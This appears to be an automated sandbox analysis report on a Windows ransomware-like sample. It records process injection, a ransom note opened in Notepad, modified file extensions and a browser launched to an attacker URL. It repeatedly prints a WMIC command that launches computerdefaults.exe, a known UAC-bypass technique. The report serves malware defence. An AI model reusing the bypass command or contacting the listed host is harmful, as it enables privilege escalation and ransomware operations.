pid Process 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe 1792 WerFault.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2792 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
pid Process 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 196 MicrosoftEdgeCP.exe 196 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1792 WerFault.exe Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1828 WMIC.exe Token: SeSecurityPrivilege 1828 WMIC.exe Token: SeTakeOwnershipPrivilege 1828 WMIC.exe Token: SeLoadDriverPrivilege 1828 WMIC.exe Token: SeSystemProfilePrivilege 1828 WMIC.exe Token: SeSystemtimePrivilege 1828 WMIC.exe Token: SeProfSingleProcessPrivilege 1828 WMIC.exe Token: SeIncBasePriorityPrivilege 1828 WMIC.exe Token: SeCreatePagefilePrivilege 1828 WMIC.exe Token: SeBackupPrivilege 1828 WMIC.exe Token: SeRestorePrivilege 1828 WMIC.exe Token: SeShutdownPrivilege 1828 WMIC.exe Token: SeDebugPrivilege 1828 WMIC.exe Token: SeSystemEnvironmentPrivilege 1828 WMIC.exe Token: SeRemoteShutdownPrivilege 1828 WMIC.exe Token: SeUndockPrivilege 1828 WMIC.exe Token: SeManageVolumePrivilege 1828 WMIC.exe Token: 33 1828 WMIC.exe Token: 34 1828 WMIC.exe Token: 35 1828 WMIC.exe Token: 36 1828 WMIC.exe Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeShutdownPrivilege 2792 Explorer.EXE Token: SeCreatePagefilePrivilege 2792 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1308 WMIC.exe Token: SeSecurityPrivilege 1308 WMIC.exe Token: SeTakeOwnershipPrivilege 1308 WMIC.exe Token: SeLoadDriverPrivilege 1308 WMIC.exe Token: SeSystemProfilePrivilege 1308 WMIC.exe Token: SeSystemtimePrivilege 1308 WMIC.exe Token: SeProfSingleProcessPrivilege 1308 WMIC.exe Token: SeIncBasePriorityPrivilege 1308 WMIC.exe Token: SeCreatePagefilePrivilege 1308 WMIC.exe Token: SeBackupPrivilege 1308 WMIC.exe Token: SeRestorePrivilege 1308 WMIC.exe Token: SeShutdownPrivilege 1308 WMIC.exe Token: SeDebugPrivilege 1308 WMIC.exe Token: SeSystemEnvironmentPrivilege 1308 WMIC.exe Token: SeRemoteShutdownPrivilege 1308 WMIC.exe Token: SeUndockPrivilege 1308 WMIC.exe Token: SeManageVolumePrivilege 1308 WMIC.exe Token: 33 1308 WMIC.exe Token: 34 1308 WMIC.exe Token: 35 1308 WMIC.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2792 Explorer.EXE 624 MicrosoftEdge.exe 196 MicrosoftEdgeCP.exe 196 MicrosoftEdgeCP.exe 2792 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2316 wrote to memory of 1836 2316 sihost.exe 71 PID 2316 wrote to memory of 1836 2316 sihost.exe 71 PID 2316 wrote to memory of 2732 2316 sihost.exe 72 PID 2316 wrote to memory of 2732 2316 sihost.exe 72 PID 2316 wrote to memory of 2956 2316 sihost.exe 75 PID 2316 wrote to memory of 2956 2316 sihost.exe 75 PID 2316 wrote to memory of 2720 2316 sihost.exe 74 PID 2316 wrote to memory of 2720 2316 sihost.exe 74 PID 2720 wrote to memory of 1828 2720 cmd.exe 78 PID 2720 wrote to memory of 1828 2720 cmd.exe 78 PID 2956 wrote to memory of 1308 2956 cmd.exe 79 PID 2956 wrote to memory of 1308 2956 cmd.exe 79 PID 2324 wrote to memory of 2372 2324 svchost.exe 80 PID 2324 wrote to memory of 2372 2324 svchost.exe 80 PID 2324 wrote to memory of 1312 2324 svchost.exe 81 PID 2324 wrote to memory of 1312 2324 svchost.exe 81 PID 2792 wrote to memory of 1456 2792 Explorer.EXE 84 PID 2792 wrote to memory of 1456 2792 Explorer.EXE 84 PID 2792 wrote to memory of 1720 2792 Explorer.EXE 85 PID 2792 wrote to memory of 1720 2792 Explorer.EXE 85 PID 1312 wrote to memory of 2096 1312 cmd.exe 88 PID 1312 wrote to memory of 2096 1312 cmd.exe 88 PID 2372 wrote to memory of 2848 2372 cmd.exe 90 PID 2372 wrote to memory of 2848 2372 cmd.exe 90 PID 2452 wrote to memory of 3096 2452 taskhostw.exe 89 PID 2452 wrote to memory of 3096 2452 taskhostw.exe 89 PID 2452 wrote to memory of 2836 2452 taskhostw.exe 91 PID 2452 wrote to memory of 2836 2452 taskhostw.exe 91 PID 1720 wrote to memory of 3456 1720 cmd.exe 94 PID 1720 wrote to memory of 3456 1720 cmd.exe 94 PID 3424 wrote to memory of 3924 3424 RuntimeBroker.exe 95 PID 3424 wrote to memory of 3924 3424 RuntimeBroker.exe 95 PID 3424 wrote to memory of 2312 3424 RuntimeBroker.exe 96 PID 3424 wrote to memory of 2312 3424 RuntimeBroker.exe 96 PID 1456 wrote to memory of 1592 1456 cmd.exe 98 PID 1456 wrote to memory of 1592 1456 cmd.exe 98 PID 2836 wrote to memory of 3192 2836 cmd.exe 101 PID 2836 wrote to memory of 3192 2836 cmd.exe 101 PID 4064 wrote to memory of 3108 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 102 PID 4064 wrote to memory of 3108 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 102 PID 4064 wrote to memory of 2196 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 103 PID 4064 wrote to memory of 2196 4064 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe 103 PID 3096 wrote to memory of 1256 3096 cmd.exe 106 PID 3096 wrote to memory of 1256 3096 cmd.exe 106 PID 2312 wrote to memory of 1800 2312 cmd.exe 107 PID 2312 wrote to memory of 1800 2312 cmd.exe 107 PID 3924 wrote to memory of 2968 3924 cmd.exe 108 PID 3924 wrote to memory of 2968 3924 cmd.exe 108 PID 3108 wrote to memory of 3724 3108 cmd.exe 109 PID 3108 wrote to memory of 3724 3108 cmd.exe 109 PID 2196 wrote to memory of 1788 2196 cmd.exe 110 PID 2196 wrote to memory of 1788 2196 cmd.exe 110 PID 4316 wrote to memory of 4640 4316 cmd.exe 135 PID 4316 wrote to memory of 4640 4316 cmd.exe 135 PID 4124 wrote to memory of 4656 4124 cmd.exe 145 PID 4124 wrote to memory of 4656 4124 cmd.exe 145 PID 4116 wrote to memory of 4668 4116 cmd.exe 136 PID 4116 wrote to memory of 4668 4116 cmd.exe 136 PID 4136 wrote to memory of 4692 4136 cmd.exe 144 PID 4136 wrote to memory of 4692 4136 cmd.exe 144 PID 4188 wrote to memory of 4704 4188 cmd.exe 143 PID 4188 wrote to memory of 4704 4188 cmd.exe 143 PID 4164 wrote to memory of 4716 4164 cmd.exe 141 PID 4164 wrote to memory of 4716 4164 cmd.exe 141
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"4⤵PID:3724
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"4⤵PID:1788
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:1592
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1720 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:3456
-
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3696
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3696 -s 8202⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1792
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3424 -
C:\Windows\System32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:2968
-
-
-
C:\Windows\System32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:1800
-
-
-
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2452 -
\??\c:\windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:1256
-
-
-
\??\c:\windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:3192
-
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2324 -
\??\c:\windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:2848
-
-
-
\??\c:\windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:2096
-
-
-
c:\windows\system32\sihost.exesihost.exe1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2316 -
\??\c:\windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1836
-
-
\??\c:\windows\system32\cmd.execmd /c "start http://6adcc280d2645a90eltalkfzj.jobsbig.cam/eltalkfzj^&1^&40104399^&83^&335^&2215063"2⤵
- Checks computer location settings
PID:2732
-
-
\??\c:\windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1828
-
-
-
\??\c:\windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1308
-
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4692
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4656
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4668
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
PID:4108 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4728
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
PID:4304 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4884
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
PID:4244 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4860
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
PID:4236 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4832
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4704
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4640
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
PID:4180 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4752
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
PID:4172 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4740
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:4716
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:624
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:1344
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:196
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:1256
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:2880
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3816